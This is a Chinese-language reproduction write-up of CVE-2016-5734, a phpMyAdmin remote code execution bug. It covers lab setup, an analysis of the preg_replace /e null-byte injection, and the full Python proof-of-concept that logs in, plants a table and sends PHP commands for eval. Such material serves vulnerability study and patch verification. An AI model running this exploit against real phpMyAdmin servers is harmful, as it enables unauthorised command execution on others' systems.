CVE-2016-5734 复现
CVE-2016-5734
漏洞简介
phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace
函数第一个参数中。
在PHP5.4.7以前,preg_replace
的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。
以下版本受到影响:
- 4.0.10.16之前4.0.x版本
- 4.4.15.7之前4.4.x版本
- 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
环境搭建
运行如下命令启动PHP 5.3 + Apache + phpMyAdmin 4.4.15.6:
docker-compose up -d
启动后,访问http://your-ip:8080
,即可看到phpMyAdmin的登录页面。使用root
:root
登录。
漏洞复现
使用poc进行复现,-u
指定用户名,-p
指定登录密码,-d
指定用户创建的表名, -c
为将作为PHP代码执行的命令
python3 poc.py -c 'system(ls);' -u root -p root -d test http://192.168.130.19:8080/
成功执行命令之后会创建一个名为prgpwn的表
漏洞分析
漏洞成因
Php中的 preg_replace
函数 该函数是执行一个正则表达式并实现字符串的搜索与替换。
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject
中匹配 pattern
的部分, 以 replacement
进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。反斜杠定界符尽量不要使用,而是使用 # 或者 ~
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。
$count: 可选,为替换执行的次数。
该函数的返回值:当$subject
为一数组的情况下返回一个数组,其余情况返回字符串。匹配成功则将替换后的subject
被返回,不成功则返回没有改变的subject
,发生语法错误等,返回NULL。
- 正则表达式修正符:
因为$pattern
中指定的是要搜索的模式字符串,一般使用的是正则表达式,正则表达式中存在修正符,像/i 就是指定取消大小写敏感等。但是其中一个修正符 “/e”,在替换字符串中对逆向引用作正常的替换,将其作为 PHP 代码求值,并用其结果来替换所搜索的字符串。
因此这将会导致php代码执行:
漏洞触发
首先找到preg_replace()
函数的调用位置: 发现是在 /libraries/TableSearch.class.php 文件中
可以看到 _getRegplaceRows()
函数中 ,将参数find
传入,并且将参数find
作为preg_replace()
函数的第一个参数使用。要构造payload 就需要将这三个参数 find
、replaceWith
、row[0]
全部溯源查看。首先对_getRegplaceRows
函数进行溯源:
getRegplaceRows
被 getReplacePreview
这个类的方法所调用,并且参数find
与参数replacement
都是经过该方法所传递的,再对这个函数进行溯源;
发现getRegplacePreview
在 tbl_find_replace.php
中使用,并且 参数find
与 replaceWith
经POST方法进行传递。至此参数与函数溯源完毕。
前端查看该界面是phpmyadmin所提供的查找并替换数据表的功能。该功能是针对某一数据库中的数据表进行的查询功能:
其中 “查找“ 的参数就是find
。“替换为” 的参数就是replaceWith
;
现在针对这两个的参数都寻找到了,就剩下 第三个参数了,继续寻找。第三个参数为 row[0]
。首先看到这个参数为一数组,猜想是由SQL语句查询并返回的第一个值。找到row[0]
,接着回溯result参数,其指向Sql_query
:
回溯$Sql_query,其下的SQL语句可理解为:
SELECT $columnname ,1,cont(*) FROM database.table_name WHERE $columnname RLIKE ‘$find’ COLLATE $charset_bin GROUP BY $columnname ORDER BY $column ASC;
并将这个查询后的值作为键值对,把键值对的第一个值给了 preg_replace()
函数的第三个参数。
PMA_TableSearch
该类的一个析构方法,在创建这个对象的同时执行该方法;
接着回溯,可以看到漏洞触发的 tbl_find_replace.php
中引用了这个 PMA_TableSearch
类
创建了 $table_search
对象。而在这里将 db
和table
这两个参数赋值。
回溯这两个参数发现在 /libraries/common.inc.php 中存在定义,全局寻找该函数可以发现通过REQUEST
方法来接收变量并将其设置为全局变量。
该漏洞触发点,是在一个数据库表中操作而实现的,所以说,POC中是先创建数据表与列名,然后在进行参数的传递,这里可以直接将这个db
与table
直接作为参数所提交,创建的数据库为test,数据表为"prgpwn" 该表中的first列 的值为“0/e” ,该值也就是通过$sql_qury sql
语句中查询得到的 $row[0]
其中find
传递的参数中包含 %00 将后面的反斜杠给截断。
最终执行时效果类似于:
poc如下:
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
CVE-2016-5734 复现的更多相关文章
- CVE¬-2020-¬0796 漏洞复现(本地提权)
CVE-2020-0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...
- CVE 2019-0708漏洞复现防御修复
CVE-2019-0708 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708.攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息.执行远程代码.发 ...
- CVE 2019-0708 漏洞复现+
PART 1 参考链接:https://blog.csdn.net/qq_42184699/article/details/90754333 漏洞介绍: 当未经身份验证的攻击者使用 RDP 连接到目标 ...
- CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
前言 2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘.网络共享等途径触发漏洞, ...
- [漏洞复现] CVE-2017-11882 通杀所有Office版本
此漏洞是由Office软件里面的 [公式编辑器] 造成的,由于编辑器进程没有对名称长度进行校验,导致缓冲区溢出,攻击者通过构造特殊的字符,可以实现任意代码执行. 举个例子,如果黑客利用这个漏洞,构造带 ...
- CVE-2018-8420 漏洞复现
影响的 Windows 版本: Microsoft Windows 10 Version 1607 for 32-bit SystemsMicrosoft Windows 10 Version 160 ...
- [原题复现]-HITCON 2016 WEB《babytrick》[反序列化]
前言 不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手 HITCON 2016 WEB -babytrick(复现) 原题 index.php 1 <?php 2 3 inc ...
- [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]
简介 原题复现: 考察知识点:反序列化.数组绕过 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...
- CVE 2021-44228 Log4j-2命令执行复现及分析
12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...
- HDU 5734 Acperience (公式推导) 2016杭电多校联合第二场
题目:传送门. #include <iostream> #include <algorithm> #include <cstdio> #include <cs ...
随机推荐
- springBoot使用注解Aop实现日志模块
我们在日常业务操作中需要记录很多日志,可以在我们需要的方法中对日志进行保存操作,但是对业务代码入侵性大.使用切面针对控制类进行处理灵活度不高,因此我们可以使用自定义注解来针对方法进行日志记录 1.注解 ...
- Wood,微型 Java ORM 框架(首次发版)
Wood,微型 Java ORM 框架(支持:java sql,xml sql,annotation sql:事务:缓存:监控:等...),零依赖! 特点和理念: 跨平台:可以嵌入到JVM脚本引擎(j ...
- 1-MySQL数据库的安装和基础语法介绍
1.MySQL是什么? MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,属于 Oracle 旗下产品.它是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最 ...
- LeetCode 周赛上分之旅 #46 经典二分答案与质因数分解
️ 本文已收录到 AndroidFamily,技术和职场问题,请关注公众号 [彭旭锐] 和 BaguTree Pro 知识星球提问. 学习数据结构与算法的关键在于掌握问题背后的算法思维框架,你的思考越 ...
- Tinyalsa PCM API 实现深度剖析
高级 Linux 音频架构 (ALSA) 用于为 Linux 操作系统提供音频和 MIDI 功能.它可以高效地支持所有类型的音频接口,从消费者声卡到专业的多通道音频接口.它支持全模块化的音频驱动.它是 ...
- BSD协议原文及中文翻译
# BSD协议原文及翻译 参考链接 原文: The following is a BSD license template. To generate your own license, change ...
- selenium 知网爬虫之根据【关键词】获取文献信息
哈喽大家好,我是咸鱼 之前咸鱼写过几篇关于知网爬虫的文章,后台反响都很不错.虽然但是,咸鱼还是忍不住想诉苦一下 有些小伙伴文章甚至代码看都没看完,就问我 "为什么只能爬这么多条文献信息?&q ...
- HTML DOM之三:节点关系导航
1.获取节点列表 1 <!DOCTYPE html> 2 <html> 3 <body> 4 5 <p>Hello World!</p> 6 ...
- .NET Conf 2023 将在 11 月 15日-17 日 举行 ,附中文日程表
北京时间 11月15-17日,.NET Conf 2023 即将到来!大会上将发布.NET 8, 以今为止运行最快的.NET 平台, .NET Conf 始终致力于为所有与会者创造世界级的.引人入胜的 ...
- bad_python
对着正确的pyc文件在010把题目文件的前缀改掉,然后在线反编译得到代码